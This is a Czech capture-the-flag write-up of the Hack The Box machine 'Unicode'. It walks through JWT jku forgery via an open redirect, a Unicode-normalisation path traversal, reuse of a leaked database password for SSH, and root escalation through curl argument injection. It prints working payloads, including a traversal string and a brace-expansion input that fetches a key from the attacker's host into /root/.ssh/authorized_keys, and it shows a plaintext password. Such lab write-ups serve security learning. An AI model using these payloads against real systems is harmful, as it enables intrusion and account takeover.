tom@home.htb:~$

Blog o HTB

28 January 2021

Unicode

Úvod a kontext

Unicode je pěkný příklad řetězce, kde se sejdou tři zdánlivě oddělené aplikační problémy: důvěra v JWT hlavičku jku, otevřený redirect a chybná práce s unicode normalizací ve file traversal filtru. Samostatně by každá z těch chyb vypadala spíš jako „zajímavost“, ale dohromady vedou k administrátorskému tokenu, čtení lokálních souborů a nakonec i k SSH přístupu. Právě proto se tenhle stroj přirozeně potkává s články kid/jku a vzdálené načítání klíčů, File read a include varianty mimo klasické LFI a Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.

Root část je odlišná. Tam už nejde o web, ale o PyInstaller binárku treport, kterou může code spouštět jako root. Skutečný problém nespočívá v curl samotném, ale v tom, že wrapper skládá příkaz přes /bin/bash -c a nedokáže bezpečně oddělit URL od dalších parametrů.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív ověřuji, jaké veřejné služby jsou vůbec k dispozici.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Enumerace webu odhalila mimo jiné tyto zajímavé cesty:

/dashboard
/display
/internal
/redirect
/upload

Právě dashboard, display a redirect později tvoří hlavní útokový řetězec.

Analýza zjištění

JWT jku a open redirect

Po přihlášení aplikace vracela JWT podepsaný algoritmem RS256. Hlavička obsahovala jku, tedy URL, odkud si server bere JWK set s veřejným klíčem. To je bezpečné jen tehdy, pokud server striktně kontroluje, z jakých adres smí klíče načítat.

Unicode sice cizí URL přímo nedůvěřoval, ale zároveň měl endpoint /redirect, který přesměrovával na útočníkem zadanou adresu. To umožnilo obě omezení spojit:

Tím šlo server přesvědčit, aby přijal podvržený administrátorský token.

Unicode normalizace v /display

Admin token otevřel interní funkce, ale skutečně důležitý byl endpoint /display/?page=.... Ten blokoval klasické ../, jenže filtr pracoval před unicode normalizací. Znak (U+2025) vypadá jako dvě tečky a po normalizaci se na ně skutečně změní.

Prakticky tedy šlo použít payload ve stylu:

/display/?page=‥/‥/‥/‥/etc/passwd

Tím vznikla file traversal, která umožnila číst lokální soubory v kontextu aplikace. Nejde o klasické ../ v syrové podobě, ale o pěknou ukázku toho, jak špatné pořadí normalizace a validace změní „jen file-read bug“ na stabilní čtecí kanál.

Konfigurace aplikace a SSH heslo

Přes traversal dávalo smysl nejdřív najít zdrojáky a konfigurační soubory. Z /proc/self/cwd/app.py bylo patrné, že aplikace čte databázovou konfiguraci z db.yaml.

Právě ten obsahoval použitelná pověření:

mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

Účet code zároveň existoval v /etc/passwd, takže bylo logické zkusit stejné heslo i pro SSH.

Získání přístupu

SSH jako code

Reuse fungoval:

ssh code@10.10.11.126

Po přihlášení šlo potvrdit uživatelský přístup:

cat user.txt
__CENSORED__

To je dobrý příklad toho, že LFI nebo traversal nemusí vést k shellu přímo. Stačí, když odkryjí konfigurační tajemství použitelné v jiné službě.

Eskalace oprávnění

Co dělá treport

sudo -l ukázalo:

(root) NOPASSWD: /usr/bin/treport

Program treport byl PyInstaller binárka. Po rozbalení nebo analýze tracebacku bylo vidět, že při volbě „Download A Threat Report“ skládá příkaz v tomto duchu:

cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)

Praktickou roli curl jako běžného HTTP klienta rozebírám v samostatném článku curl; tady je důležité, že se z něj stává útoková plocha kvůli nebezpečně složenému wrapperu.

Filtr sice blokoval mezery a část speciálních znaků, ale neřešil správně brace expansion ani parameter injection do curl.

Parameter injection místo command injection

Důležité je rozlišit, co se zde zneužívá. Nejde o klasické ukončení příkazu pomocí ; nebo &&. Útočník jen přidá další parametry curl, které binárka sama poslušně předá.

Payload:

{http://10.10.14.6/pub,-o,/root/.ssh/authorized_keys}

Se v bashi rozbalí na:

curl http://10.10.14.6/pub -o /root/.ssh/authorized_keys -o /root/reports/threat_report_<timestamp>

Výsledek je jednoduchý:

Po spuštění treport s tímto vstupem už následovalo jen SSH jako root a přečtení root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - exploit - enumeration - privesc - hackthebox